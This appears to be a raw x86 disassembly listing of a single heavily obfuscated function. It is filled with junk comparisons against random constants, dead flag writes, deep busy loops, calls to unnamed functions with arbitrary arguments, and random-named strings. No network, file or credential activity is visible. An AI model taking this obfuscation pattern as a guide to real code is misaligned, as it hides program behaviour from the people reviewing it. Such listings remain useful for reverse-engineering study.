mov dword [ebp - 0x1458], 0x6e8d2ca8
push 2
lea ecx, [ebp - 0x1c9c]
call fcn.0045223e
mov dword [ebp - 0x4f4], 0
jmp 0x49089d
mov eax, dword [ebp - 0x4f4]
inc eax
mov dword [ebp - 0x4f4], eax
cmp dword [ebp - 0x4f4], 2
jge 0x4908bf
push dword [ebp - 0x4f4]
lea ecx, [ebp - 0x1c9c]
call fcn.0045232c
mov dword [eax], 0xe88fefd6
jmp 0x490890
mov eax, dword [ebp - 0xeac]
cmp dword [ebp - 0x3d0], eax
jl 0x4908d9
mov dword [ebp - 0xea4], 1
jmp 0x4908e0
and dword [ebp - 0xea4], 0
cmp dword [ebp - 0xea4], 0xff2fd6b2
jne 0x4908f8
mov dword [ebp - 0x1450], 1
jmp 0x4908ff
and dword [ebp - 0x1450], 0
mov eax, dword [ebp - 0x17d4]
mov dword [ebp - 0x14c], eax
cmp dword [ebp - 0x14c], 0xfbc7
jne 0x490923
mov dword [ebp - 0x9a4], 1
jmp 0x49092a
and dword [ebp - 0x9a4], 0
push 1
lea ecx, [ebp - 0x1950]
call fcn.0045232c
mov ecx, dword [ebp - 0x9a4]
cmp ecx, dword [eax]
jge 0x49094d
mov dword [ebp - 0x129c], 1
jmp 0x490954
and dword [ebp - 0x129c], 0
mov eax, dword [ebp - 0x1458]
cmp dword [ebp - 0x129c], eax
jl 0x49096e
mov dword [ebp - 0x9ac], 1
jmp 0x490975
and dword [ebp - 0x9ac], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x13b4]
add eax, dword [ebp - 0x9ac]
cmp eax, dword [ebp - 0x19c8]
jne 0x49099c
mov dword [ebp - 0x1460], 1
jmp 0x4909a3
and dword [ebp - 0x1460], 0
push 4
pop eax
imul eax, eax, 3
mov eax, dword [ebp + eax - 0x13b4]
mov dword [ebp - 0x1d68], eax
mov esi, dword [ebp - 0xeac]
push 0
lea ecx, [ebp - 0x1c9c]
call fcn.0045232c
mov dword [eax], esi
lea ecx, [ebp - 0x1c9c]
call fcn.00452310
lea ecx, [ebp - 0x1950]
call fcn.00452310
lea ecx, [ebp - 0x888]
call fcn.00452310
mov dword [ebp - 0x30], 6
mov dword [ebp - 0x112c], 0x84cbed56
mov dword [ebp - 0x126c], 0x82ba8d7d
mov dword [ebp - 0x9dc], 0xffffffff
mov dword [ebp - 0x1468], 0xd91b0598
mov dword [ebp - 0x4fc], 0
jmp 0x490a34
mov eax, dword [ebp - 0x4fc]
inc eax
mov dword [ebp - 0x4fc], eax
cmp dword [ebp - 0x4fc], 2
jge 0x490a50
mov eax, dword [ebp - 0x4fc]
mov dword [ebp + eax*4 - 0x1ddc], 0xffffffff
jmp 0x490a27
cmp dword [ebp - 0x30], 0x69be
jge 0x490a65
mov dword [ebp - 0x9b4], 1
jmp 0x490a6c
and dword [ebp - 0x9b4], 0
mov eax, dword [ebp - 0x9b4]
mov dword [ebp - 0x112c], eax
mov eax, dword [ebp - 0x112c]
cmp dword [ebp - 0x30], eax
jle 0x490a8f
mov dword [ebp - 0x17dc], 1
jmp 0x490a96
and dword [ebp - 0x17dc], 0
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x1d70], eax
push 0xfffffffffffffffb
pop eax
cmp eax, 0x22c92085
je 0x490ab5
mov dword [ebp - 0x9bc], 1
jmp 0x490abc
and dword [ebp - 0x9bc], 0
mov eax, dword [ebp - 0x30]
cmp dword [ebp - 0x9bc], eax
jge 0x490ad3
mov dword [ebp - 0xeb4], 1
jmp 0x490ada
and dword [ebp - 0xeb4], 0
mov eax, dword [ebp - 0x30]
cmp dword [ebp - 0xeb4], eax
jg 0x490af1
mov dword [ebp - 0x9c4], 1
jmp 0x490af8
and dword [ebp - 0x9c4], 0
mov eax, dword [ebp - 0x9c4]
mov dword [ebp - 0x126c], eax
mov eax, dword [ebp - 0x126c]
add eax, dword [ebp - 0x30]
cmp eax, dword [ebp - 0x30]
jl 0x490b1e
mov dword [ebp - 0x9cc], 1
jmp 0x490b25
and dword [ebp - 0x9cc], 0
push 4
pop eax
shl eax, 0
mov dword [ebp + eax - 0x1ddc], 0xffffffff
mov eax, dword [ebp - 0x30]
add eax, dword [ebp - 0x9cc]
imul eax, dword [ebp - 0x30]
cmp eax, 0xffffffff
jne 0x490b54
mov dword [ebp - 0xebc], 1
jmp 0x490b5b
and dword [ebp - 0xebc], 0
mov eax, dword [ebp - 0x30]
cmp eax, dword [ebp - 0xebc]
jl 0x490b72
mov dword [ebp - 0x9d4], 1
jmp 0x490b79
and dword [ebp - 0x9d4], 0
imul eax, dword [ebp - 0x9d4], 0xa83a
cmp dword [ebp - 0x30], eax
jl 0x490b94
mov dword [ebp - 0x1134], 1
jmp 0x490b9b
and dword [ebp - 0x1134], 0
mov eax, dword [ebp - 0x1134]
mov dword [ebp - 0x9dc], eax
mov eax, dword [ebp - 0x30]
cmp dword [ebp - 0x9dc], eax
jl 0x490bbe
mov dword [ebp - 0xec4], 1
jmp 0x490bc5
and dword [ebp - 0xec4], 0
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0xec4]
lea eax, [ecx + eax + 0x66a95de8]
neg eax
add eax, 0x5224
cmp eax, dword [ebp - 0x30]
jle 0x490bed
mov dword [ebp - 0x9e4], 1
jmp 0x490bf4
and dword [ebp - 0x9e4], 0
mov eax, dword [ebp - 0x30]
cmp dword [ebp - 0x9e4], eax
jl 0x490c0b
mov dword [ebp - 0x12a4], 1
jmp 0x490c12
and dword [ebp - 0x12a4], 0
mov eax, dword [ebp - 0x12a4]
mov dword [ebp - 0x1468], eax
mov byte [ebp - 0x1a5], 0
push 4
lea ecx, [ebp - 0x2118]
call fcn.0045223e
mov dword [ebp - 0x3d8], 0x66fe7d8a
mov dword [ebp - 0x18f4], 0xb3b9
push 0x1866
lea eax, [ebp - 0x2118]
push eax
push 0x5c65
push 0x129b
push 1
push 0
push 1
push 0x6014
push 0
lea eax, [ebp - 0x1d78]
push eax
push 1
call fcn.00478e86
add esp, 0x2c
mov dword [ebp - 0x3d8], 3
jmp 0x490c93
mov eax, dword [ebp - 0x3d8]
dec eax
mov dword [ebp - 0x3d8], eax
cmp dword [ebp - 0x3d8], 0
jl 0x490cf0
push 0x17ae
push 0x13c7
push 0x6a13
push 0
push 0x7743
push 0x2882
push 0
push 0x3dcd
lea eax, [ebp - 0x18f4]
push eax
push 1
push 1
push 0x21fd
call fcn.00480908
add esp, 0x30
push 0x1a2a
push 1
push 1
push 0
push 0x2c4c
call fcn.0047b900
add esp, 0x14
jmp 0x490c86
lea ecx, [ebp - 0x2118]
call fcn.00452310
push 0
push 0x6061
lea eax, [ebp - 0x1a5]
push eax
push 0
push 0x6cc6
push 1
push 1
call fcn.0046de42
add esp, 0x1c
jmp 0x48fffa
lea ecx, [ebp - 0x2128]
call fcn.00452310
mov dword [ebp - 0x82c], 0x71c7bf0b
mov dword [ebp - 0x227c], 0
mov dword [ebp - 0x2278], 0
mov dword [ebp - 0x2274], 0
mov dword [ebp - 0x2270], 0
mov dword [ebp - 0x1470], 0xd133f29
mov byte [ebp - 0x121], 0
push 1
push 0x364b
push 1
push 0x81c
push 0x3620
push 1
push 1
push 0x6c15
push 1
lea eax, [ebp - 0x121]
push eax
call fcn.0046fcba
add esp, 0x28
mov eax, dword [ebp - 0x82c]
mov dword [ebp - 0x1d80], eax
cmp dword [ebp - 0x82c], 1
jle 0x490dbd
mov dword [ebp - 0x9ec], 1
jmp 0x490dc4
and dword [ebp - 0x9ec], 0
mov eax, dword [ebp - 0x82c]
cmp eax, dword [ebp - 0x9ec]
jg 0x490dde
mov dword [ebp - 0xecc], 1
jmp 0x490de5
and dword [ebp - 0xecc], 0
cmp dword [ebp - 0xecc], 0x30a4
jl 0x490e03
mov eax, 0x2def
test eax, eax
jne 0x490e03
and dword [ebp - 0x9f4], 0
jmp 0x490e0d
mov dword [ebp - 0x9f4], 1
mov eax, dword [ebp - 0x9f4]
mov dword [ebp - 0x1470], eax
push 3
lea ecx, [ebp - 0x338]
call fcn.0045223e
mov dword [ebp - 0xedc], 1
mov dword [ebp - 0x1d88], 0xf0d5dc5
mov dword [ebp - 0x1d90], 0xfffffff6
push 4
lea ecx, [ebp - 0x2148]
call fcn.0045223e
mov dword [ebp - 0x1d98], 6
mov dword [ebp - 0x1da0], 0x85267706
mov dword [ebp - 0x1da8], 0xfffffffb
mov dword [ebp - 0x1db0], 0x9b47bed2
mov dword [ebp - 0x1db8], 0xff5a50e6
mov dword [ebp - 0x1dc0], 0
mov dword [ebp - 0x1dc8], 0xfffffff8
push 0x10bc
push 1
push 0x5d61
push 0x12e2
push 0x7fe8
lea eax, [ebp - 0x338]
push eax
push 0x75c7
push 0x6970
push 0
push 0x7f62
push 0
push 0x7cb5
lea eax, [ebp - 0x17e4]
push eax
push 1
push 0x5f6b
call fcn.0048aad7
add esp, 0x3c
push 0
push 0x5615
push 0x519c
push 1
push 0
push 0x62a4
lea eax, [ebp - 0x2148]
push eax
push 0x48e6
push 0x4b92
lea eax, [ebp - 0x17e4]
push eax
call fcn.00486cec
add esp, 0x28
push 0
lea ecx, [ebp - 0x338]
call fcn.0045232c
mov dword [eax], 4
jmp 0x490f50
push 0
lea ecx, [ebp - 0x338]
call fcn.0045232c
mov dword [ebp - 0x113c], eax
mov eax, dword [ebp - 0x113c]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 0x113c]
mov dword [ecx], eax
push 0
lea ecx, [ebp - 0x338]
call fcn.0045232c
cmp dword [eax], 0x14
jl 0x491692
mov dword [ebp - 0x3e0], 0xcbbbc25
mov dword [ebp - 0xa6c], 8
mov dword [ebp - 0x1478], 0x4560f910
mov dword [ebp - 0x1480], 0x5fea
mov dword [ebp - 0x504], 0
jmp 0x490fa7
mov eax, dword [ebp - 0x504]
inc eax
mov dword [ebp - 0x504], eax
cmp dword [ebp - 0x504], 1
jge 0x490fc3
mov eax, dword [ebp - 0x504]
mov dword [ebp + eax*4 - 0x3f0], 1
jmp 0x490f9a
xor eax, eax
inc eax
je 0x490fe4
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x3f0], 0
je 0x490fe4
mov dword [ebp - 0x9fc], 1
jmp 0x490feb
and dword [ebp - 0x9fc], 0
mov eax, dword [ebp - 0x9fc]
sub eax, dword [ebp - 0x3e0]
cmp eax, 0x2fa4
je 0x49100a
mov dword [ebp - 0xed4], 1
jmp 0x491011
and dword [ebp - 0xed4], 0
cmp dword [ebp - 0xed4], 0xee6ee3e4
ja 0x491029
mov dword [ebp - 0xa04], 1
jmp 0x491030
and dword [ebp - 0xa04], 0
push 0
lea ecx, [ebp - 0x338]
call fcn.0045232c
mov ecx, dword [ebp - 0xa04]
cmp ecx, dword [eax]
jne 0x491065
push 0
lea ecx, [ebp - 0x338]
call fcn.0045232c
cmp dword [eax], 0
je 0x491065
mov dword [ebp - 0x1274], 1
jmp 0x49106c
and dword [ebp - 0x1274], 0
cmp dword [ebp - 0x1274], 0xfffffff8
jle 0x491081
mov dword [ebp - 0xa0c], 1
jmp 0x491088
and dword [ebp - 0xa0c], 0
mov eax, dword [ebp - 0x3e0]
imul eax, dword [ebp - 0xa0c]
mov dword [ebp - 0xedc], eax
mov esi, dword [ebp - 0xedc]
push 0
lea ecx, [ebp - 0x338]
call fcn.0045232c
cmp esi, dword [eax]
jne 0x4910be
mov dword [ebp - 0xa14], 1
jmp 0x4910c5
and dword [ebp - 0xa14], 0
cmp dword [ebp - 0xa14], 0xacc702b5
jae 0x4910dd
mov dword [ebp - 0x1144], 1
jmp 0x4910e4
and dword [ebp - 0x1144], 0
mov eax, 0x6e58d020
sub eax, dword [ebp - 0x1144]
je 0x4910fd
mov dword [ebp - 0xa1c], 1
jmp 0x491104
and dword [ebp - 0xa1c], 0
cmp dword [ebp - 0xa1c], 0
jl 0x491119
mov dword [ebp - 0xee4], 1
jmp 0x491120
and dword [ebp - 0xee4], 0
push 0
lea ecx, [ebp - 0x338]
call fcn.0045232c
mov ecx, dword [ebp - 0xee4]
cmp ecx, dword [eax]
jg 0x4912bc
push 2
lea ecx, [ebp - 0x338]
call fcn.0045232c
cmp dword [eax], 0
je 0x4912bc
mov dword [ebp - 0x114c], 0x7446
mov dword [ebp - 0x1dd0], 0x88c8eca7
cmp dword [ebp - 0x114c], 0x17f4926a
jle 0x49117d
mov dword [ebp - 0x12ac], 1
jmp 0x491184
and dword [ebp - 0x12ac], 0
push 0
lea ecx, [ebp - 0x338]
call fcn.0045232c
push 4
pop ecx
imul ecx, ecx, 0
mov ecx, dword [ebp + ecx - 0x3f0]
cmp dword [eax], ecx
jle 0x4911ae
mov dword [ebp - 0xa24], 1
jmp 0x4911b5
and dword [ebp - 0xa24], 0
push 0
lea ecx, [ebp - 0x338]
call fcn.0045232c
mov ecx, dword [ebp - 0xa24]
dec ecx
mov eax, dword [eax]
sub eax, ecx
cmp eax, dword [ebp - 0x3e0]
jg 0x4911e1
mov dword [ebp - 0xa2c], 1
jmp 0x4911e8
and dword [ebp - 0xa2c], 0
mov eax, dword [ebp - 0x12ac]
cmp eax, dword [ebp - 0xa2c]
jg 0x491202
mov dword [ebp - 0xeec], 1
jmp 0x491209
and dword [ebp - 0xeec], 0
imul eax, dword [ebp - 0xeec], 0xfac8
cmp eax, 0xffffffff
jl 0x491224
mov dword [ebp - 0xa34], 1
jmp 0x49122b
and dword [ebp - 0xa34], 0
push 2
lea ecx, [ebp - 0x338]
call fcn.0045232c
mov eax, dword [eax]
sub eax, dword [ebp - 0xa34]
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x3f0], eax
mov eax, 0x51a65455
sub eax, dword [ebp - 0x3e0]
jne 0x49126c
cmp dword [ebp - 0x114c], 0
jne 0x49126c
and dword [ebp - 0xa3c], 0
jmp 0x491276
mov dword [ebp - 0xa3c], 1
mov eax, dword [ebp - 0xa3c]
mov dword [ebp - 0xa6c], eax
push 0xfa2
push 0x8a1
push 0
push 0
push 0x4f3d
push 0
push 0xc68
push 1
lea eax, [ebp - 0x1478]
push eax
push 0x3a71
push 0xd6e
call fcn.0047054e
add esp, 0x2c
jmp 0x49168d
mov dword [ebp - 0x778], 0xe364
mov dword [ebp - 0x1154], 7
mov dword [ebp - 0x1e30], 0
mov dword [ebp - 0x1e38], 0xd1ce175e
mov dword [ebp - 0x1e40], 0
mov dword [ebp - 0x1e48], 6
mov dword [ebp - 0x1e50], 4
mov dword [ebp - 0x1e58], 1
mov dword [ebp - 0xef4], 0x2335
mov dword [ebp - 0x19a8], str.bhz_nlyuc_jhw_zcvo_ikpwpmo_xmc
cmp dword [ebp - 0xef4], 0x249d
jle 0x4913f9
and dword [ebp - 0x50c], 0
jmp 0x491346
mov eax, dword [ebp - 0x50c]
inc eax
mov dword [ebp - 0x50c], eax
cmp dword [ebp - 0x50c], 0x5a81
jge 0x4913f9
and dword [ebp - 0x34c], 0
jmp 0x49136c
mov eax, dword [ebp - 0x34c]
inc eax
mov dword [ebp - 0x34c], eax
cmp dword [ebp - 0x34c], 0xe5e
jge 0x4913f4
and dword [ebp - 0x514], 0
jmp 0x49138e
mov eax, dword [ebp - 0x514]
inc eax
mov dword [ebp - 0x514], eax
cmp dword [ebp - 0x514], 0x7a5c
jge 0x4913ef
mov eax, dword [ebp - 0x50c]
add eax, dword [ebp - 0x34c]
mov ecx, dword [ebp - 0x514]
sar eax, cl
cdq
mov dword [ebp - 0x1620], eax
mov dword [ebp - 0x161c], edx
push dword [ebp - 0x161c]
push dword [ebp - 0x1620]
lea ecx, [ebp - 0x26cc]
call fcn.00401993
pop ecx
pop ecx
mov ecx, eax
call fcn.0045211e
push eax
call fcn.004b0bf7
pop ecx
lea ecx, [ebp - 0x26cc]
call fcn.00452114
jmp 0x491381
jmp 0x49135f
jmp 0x491339
mov dword [ebp - 0x1e60], 0x403636cd
mov dword [ebp - 4], 8
cmp dword [ebp - 0xef4], 0x227f
jge 0x491422
push dword [ebp - 0x19a8]
call fcn.004b0bf7
pop ecx
jmp 0x49143e
or dword [ebp - 4], 0xffffffff
jmp 0x491448
push 1
lea ecx, [ebp - 0x2138]
call fcn.0045223e
mov dword [ebp - 0x24c], 0
jmp 0x49146e
mov eax, dword [ebp - 0x24c]
inc eax
mov dword [ebp - 0x24c], eax
cmp dword [ebp - 0x24c], 1
jge 0x49148a
mov eax, dword [ebp - 0x24c]
mov dword [ebp + eax*4 - 0xf04], 6
jmp 0x491461
push 0
push 0x4995
push 0x3c3e
lea eax, [ebp - 0x2138]
push eax
push 1
lea eax, [ebp - 0x24c]
push eax
push 1
push 0x683
push 0x7c8e
push 0
push 0x376d
call fcn.0048340c
add esp, 0x2c
mov eax, dword [ebp - 0x778]
mov dword [ebp - 0x1e68], eax
push 2
lea ecx, [ebp - 0x338]
call fcn.0045232c
cmp dword [eax], 0
je 0x491506
push 0
lea ecx, [ebp - 0x338]
call fcn.0045232c
cmp dword [eax], 0
je 0x491506
cmp dword [ebp - 0x1154], 0
je 0x491506
mov dword [ebp - 0xa44], 1
jmp 0x49150d
and dword [ebp - 0xa44], 0
push 0
lea ecx, [ebp - 0x338]
call fcn.0045232c
mov ecx, dword [ebp - 0xa44]
cmp ecx, dword [eax]
jg 0x491530
mov dword [ebp - 0x127c], 1
jmp 0x491537
and dword [ebp - 0x127c], 0
cmp dword [ebp - 0x127c], 0xb25a
jge 0x49154f
mov dword [ebp - 0xa4c], 1
jmp 0x491556
and dword [ebp - 0xa4c], 0
cmp dword [ebp - 0xa4c], 0xfffffffb
jbe 0x491570
or eax, 0xffffffff
je 0x491570
mov dword [ebp - 0xefc], 1
jmp 0x491577
and dword [ebp - 0xefc], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xf04]
cmp dword [ebp - 0xefc], eax
jge 0x49159e
cmp dword [ebp - 0x778], 0
jne 0x49159e
and dword [ebp - 0xa54], 0
jmp 0x4915a8
mov dword [ebp - 0xa54], 1
mov eax, dword [ebp - 0x778]
imul eax, dword [ebp - 0xa54]
test eax, eax
jne 0x4915c6
xor eax, eax
jne 0x4915c6
and dword [ebp - 0xa5c], 0
jmp 0x4915d0
mov dword [ebp - 0xa5c], 1
mov eax, dword [ebp - 0x1154]
add eax, dword [ebp - 0xa5c]
cmp eax, 0x815f77fb
je 0x4915ef
mov dword [ebp - 0x814], 1
jmp 0x4915f6
and dword [ebp - 0x814], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x814]
mov dword [ebp + eax - 0x3f0], ecx
cmp dword [ebp - 0x814], 0xffffffff
jg 0x49161e
mov dword [ebp - 0xa64], 1
jmp 0x491625
and dword [ebp - 0xa64], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xf04]
cmp dword [ebp - 0xa64], eax
jle 0x491646
mov dword [ebp - 0x12b4], 1
jmp 0x49164d
and dword [ebp - 0x12b4], 0
mov eax, dword [ebp - 0x12b4]
mov dword [ebp - 0xa6c], eax
push 1
push 0x68b
lea eax, [ebp - 0x1480]
push eax
push 0
push 0x4a1c
push 1
push 0x1ff4
push 0x64c3
call fcn.00487098
add esp, 0x20
lea ecx, [ebp - 0x2138]
call fcn.00452310
jmp 0x490f2c
lea ecx, [ebp - 0x2148]
call fcn.00452310
lea ecx, [ebp - 0x338]
call fcn.00452310
mov dword [ebp - 0x56c], 6
mov dword [ebp - 0x254], 0xfffffffc
mov dword [ebp - 0x2bc], 0x5300ce3
lea eax, [ebp - 0x56c]
push eax
push 1
push 1
push 0x49c1
push 0x4455
lea eax, [ebp - 0x2bc]
push eax
push 0x6bf4
push 0x6e77
push 0
lea eax, [ebp - 0x254]
push eax
push 0x14b2
push 0x968
push 0
push 0x1f04
push 0x557b
call fcn.0048cdce
add esp, 0x3c
mov dword [ebp - 0x2bc], 0
jmp 0x49172c
mov eax, dword [ebp - 0x2bc]
inc eax
mov dword [ebp - 0x2bc], eax
cmp dword [ebp - 0x2bc], 0x37
jl 0x4919ba
mov dword [ebp - 0x808], 0x151d1a93
mov dword [ebp - 0x780], 0x81b27067
mov eax, dword [ebp - 0x808]
sub eax, dword [ebp - 0x56c]
cmp eax, 0x997ec53a
jne 0x49176c
mov dword [ebp - 0x17ec], 1
jmp 0x491773
and dword [ebp - 0x17ec], 0
mov eax, dword [ebp - 0x254]
mov dword [ebp - 0x56c], eax
mov eax, dword [ebp - 0x780]
cmp dword [ebp - 0x56c], eax
je 0x491799
mov dword [ebp - 0xf0c], 1
jmp 0x4917a0
and dword [ebp - 0xf0c], 0
mov eax, dword [ebp - 0x254]
imul eax, dword [ebp - 0xf0c]
cmp eax, dword [ebp - 0x254]
jle 0x4917c1
mov dword [ebp - 0xa74], 1
jmp 0x4917c8
and dword [ebp - 0xa74], 0
cmp dword [ebp - 0xa74], 0xfffffff8
jg 0x4917dd
mov dword [ebp - 0x115c], 1
jmp 0x4917e4
and dword [ebp - 0x115c], 0
mov eax, dword [ebp - 0x780]
cmp dword [ebp - 0x115c], eax
jge 0x4917fe
mov dword [ebp - 0xa7c], 1
jmp 0x491805
and dword [ebp - 0xa7c], 0
mov eax, dword [ebp - 0xa7c]
mov dword [ebp - 0x808], eax
mov dword [ebp - 0xf14], 0x572d
mov dword [ebp - 0x1488], str.evkd_asvtnduju_qdg_hzggzxk_zhulhsf
cmp dword [ebp - 0xf14], 0x57c3
jle 0x491932
and dword [ebp - 0x3f8], 0
jmp 0x49184b
mov eax, dword [ebp - 0x3f8]
inc eax
mov dword [ebp - 0x3f8], eax
cmp dword [ebp - 0x3f8], 0x76f2
jge 0x491932
and dword [ebp - 0x570], 0
jmp 0x491871
mov eax, dword [ebp - 0x570]
inc eax
mov dword [ebp - 0x570], eax
cmp dword [ebp - 0x570], 0x4e6b
jge 0x49192d
and dword [ebp - 0x400], 0
jmp 0x491897
mov eax, dword [ebp - 0x400]
inc eax
mov dword [ebp - 0x400], eax
cmp dword [ebp - 0x400], 0x23c9
jge 0x491928
and dword [ebp - 0x628], 0
jmp 0x4918bd
mov eax, dword [ebp - 0x628]
inc eax
mov dword [ebp - 0x628], eax
cmp dword [ebp - 0x628], 0x6c82
jge 0x491923
mov eax, dword [ebp - 0x3f8]
imul eax, dword [ebp - 0x570]
and eax, dword [ebp - 0x400]
or eax, dword [ebp - 0x628]
cdq
mov dword [ebp - 0x162c], eax
mov dword [ebp - 0x1628], edx
push dword [ebp - 0x1628]
push dword [ebp - 0x162c]
lea ecx, [ebp - 0x25b8]
call fcn.00401993
pop ecx
pop ecx
mov ecx, eax
call fcn.0045211e
push eax
call fcn.004b0bf7
pop ecx
lea ecx, [ebp - 0x25b8]
call fcn.00452114
jmp 0x4918b0
jmp 0x49188a
jmp 0x491864
jmp 0x49183e
push 0x4afa
push 0
push 1
push 0
push 0x3919
push 0x6395
push 0x11b4
lea eax, [ebp - 0x780]
push eax
lea eax, [ebp - 0x254]
push eax
lea eax, [ebp - 0x808]
push eax
push 0x3e3c
push 1
call fcn.0047fdef
add esp, 0x30
mov dword [ebp - 4], 0xa
cmp dword [ebp - 0xf14], 0x5607
jge 0x49198f
push dword [ebp - 0x1488]
call fcn.004b0bf7
pop ecx
jmp 0x4919ab
or dword [ebp - 4], 0xffffffff
jmp 0x4919b5
jmp 0x49171f
mov dword [ebp - 0x408], 0x5e48d327
push 1
push 0x3944
push 1
push 0
push 1
push 0x1102
push 0x67e1
push 0x1639
push 0x1913
call fcn.0048c3ae
add esp, 0x24
mov dword [ebp - 0x408], 0x15
jmp 0x491a06
mov eax, dword [ebp - 0x408]
dec eax
mov dword [ebp - 0x408], eax
cmp dword [ebp - 0x408], 0xfffffff9
je 0x491a3c
mov byte [ebp - 0x145], 0
lea eax, [ebp - 0x145]
push eax
push 0
push 1
push 0
push 0x26ff
push 0x4378
push 0xe20
call fcn.0046e0ed
add esp, 0x1c
jmp 0x4919f9
mov dword [ebp - 0x26c], 0x99cf
mov dword [ebp - 0x2ec], 0x29be1d92
push 0
push 1
push 0x62f2
lea eax, [ebp - 0x2ec]
push eax
push 1
push 0x644e
push 0x258d
push 1
call fcn.0047df7e
add esp, 0x20
mov dword [ebp - 0x2ec], 0
jmp 0x491a8f
mov eax, dword [ebp - 0x2ec]
inc eax
mov dword [ebp - 0x2ec], eax
cmp dword [ebp - 0x2ec], 0x2d
jne 0x491b0c
mov dword [ebp - 0x18fc], 4
push 0x107c
push 0x61bc
push 0x5157
lea eax, [ebp - 0x18fc]
push eax
push 1
push 0x46f1
push 1
push 0
push 0x24b2
push 0
push 0x7982
call fcn.00486e79
add esp, 0x2c
mov byte [ebp - 0x123], 0
push 0x1af
lea eax, [ebp - 0x123]
push eax
push 0
push 0x6127
push 1
push 1
push 0xf71
push 0x3e56
call fcn.0048d31e
add esp, 0x20
jmp 0x491a82
mov dword [ebp - 0x19b8], 0x229edca8
mov dword [ebp - 0x1490], 0xfffffff9
mov dword [ebp - 0x14a0], 0x67fa5c62
mov dword [ebp - 0xaa4], 0xffffffff
mov dword [ebp - 0x17f4], 0xfffffffc
mov dword [ebp - 0x790], 0xffffffff
mov dword [ebp - 0xaac], 1
mov dword [ebp - 0x1284], 0x1c3c39ba
mov dword [ebp - 0xa8c], 0x963ba20b
mov dword [ebp - 0xa84], 0x49f6d4a0
mov dword [ebp - 0x1498], 0
push 2
lea ecx, [ebp - 0x1cb4]
call fcn.0045223e
mov dword [ebp - 0x1e70], 1
mov dword [ebp - 0x1e78], 0xe856
mov dword [ebp - 0x578], 0xffffffff
mov dword [ebp - 0x788], 0xa08bbd18
mov dword [ebp - 0x850], 0x2be2
push 1
lea eax, [ebp - 0x1e80]
push eax
push 1
push 0x377a
push 1
push 0x3e4
lea eax, [ebp - 0x1cb4]
push eax
push 0
push 0x7370
call fcn.00471d96
add esp, 0x24
mov eax, dword [ebp - 0x578]
inc eax
mov dword [ebp - 0x578], eax
mov eax, dword [ebp - 0x578]
cmp dword [ebp - 0x1490], eax
je 0x491d5f
mov eax, dword [ebp - 0xa8c]
mov dword [ebp - 0x1e88], eax
mov dword [ebp - 0xa84], 0x813
mov eax, dword [ebp - 0xa84]
mov dword [ebp - 0x1284], eax
mov eax, dword [ebp - 0x1284]
mov dword [ebp - 0x790], eax
mov eax, dword [ebp - 0x790]
mov dword [ebp - 0x788], eax
cmp dword [ebp - 0x788], 0
je 0x491d37
mov eax, dword [ebp - 0x788]
cmp dword [ebp - 0xa8c], eax
jne 0x491c66
mov dword [ebp - 0xf1c], 1
jmp 0x491c6d
and dword [ebp - 0xf1c], 0
mov eax, dword [ebp - 0x850]
cmp dword [ebp - 0xf1c], eax
jge 0x491c87
mov dword [ebp - 0xa94], 1
jmp 0x491c8e
and dword [ebp - 0xa94], 0
mov eax, dword [ebp - 0xa94]
mov dword [ebp - 0x17f4], eax
mov eax, 0x7b17
test eax, eax
jne 0x491cb5
cmp dword [ebp - 0x578], 0
jne 0x491cb5
and dword [ebp - 0x1164], 0
jmp 0x491cbf
mov dword [ebp - 0x1164], 1
mov eax, dword [ebp - 0x1498]
add eax, dword [ebp - 0x1164]
cmp eax, dword [ebp - 0xaac]
je 0x491cdf
mov dword [ebp - 0xa9c], 1
jmp 0x491ce6
and dword [ebp - 0xa9c], 0
mov eax, dword [ebp - 0xa9c]
inc eax
cmp eax, dword [ebp - 0x850]
jg 0x491d01
mov dword [ebp - 0xf24], 1
jmp 0x491d08
and dword [ebp - 0xf24], 0
mov eax, dword [ebp - 0xf24]
mov dword [ebp - 0xaa4], eax
mov esi, dword [ebp - 0xaa4]
push 0
lea ecx, [ebp - 0x1cb4]
call fcn.0045232c
add esi, dword [eax]
je 0x491d37
mov dword [ebp - 0x19dc], 1
jmp 0x491d3e
and dword [ebp - 0x19dc], 0
mov eax, dword [ebp - 0x14a0]
mov dword [ebp - 0x1e90], eax
cmp dword [ebp - 0x850], 0
je 0x491d5f
mov dword [ebp - 0x12bc], 1
jmp 0x491d66
and dword [ebp - 0x12bc], 0
mov eax, dword [ebp - 0x12bc]
mov dword [ebp - 0xaac], eax
push 0
push 0x199b
push 0x2784
push 0x7704
lea eax, [ebp - 0x790]
push eax
push 0
push 1
push 1
call fcn.004818a6
add esp, 0x20
lea ecx, [ebp - 0x1cb4]
call fcn.00452310
mov dword [ebp - 0x182c], 0xffffffff
push 2
lea ecx, [ebp - 0x13d8]
call fcn.0045223e
mov dword [ebp - 0x154], 0xe19d29be
mov dword [ebp - 0x17fc], 0x600d5493
push 0
push 0x252c
push 0x2451
lea eax, [ebp - 0x13d8]
push eax
push 0x7f4e
push 0x569
push 1
lea eax, [ebp - 0x1e98]
push eax
push 1
call fcn.0046cc65
add esp, 0x24
mov dword [ebp - 0x154], 1
jmp 0x491e17
mov eax, dword [ebp - 0x154]
dec eax
mov dword [ebp - 0x154], eax
cmp dword [ebp - 0x154], 0
jl 0x492075
mov dword [ebp - 0x410], 0
jmp 0x491e3d
mov eax, dword [ebp - 0x410]
inc eax
mov dword [ebp - 0x410], eax
cmp dword [ebp - 0x410], 2
jge 0x491e59
mov eax, dword [ebp - 0x410]
mov dword [ebp + eax*4 - 0x340], 8
jmp 0x491e30
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x340], 1
jmp 0x491e87
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x340]
dec eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x340], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x340], 0
jl 0x491eb1
push dword [ebp - 0x154]
lea ecx, [ebp - 0x13d8]
call fcn.0045232c
cmp dword [eax], 0
je 0x491eaf
jmp 0x491eb1
jmp 0x491e6c
cmp dword [ebp - 0x17fc], 0
je 0x491f06
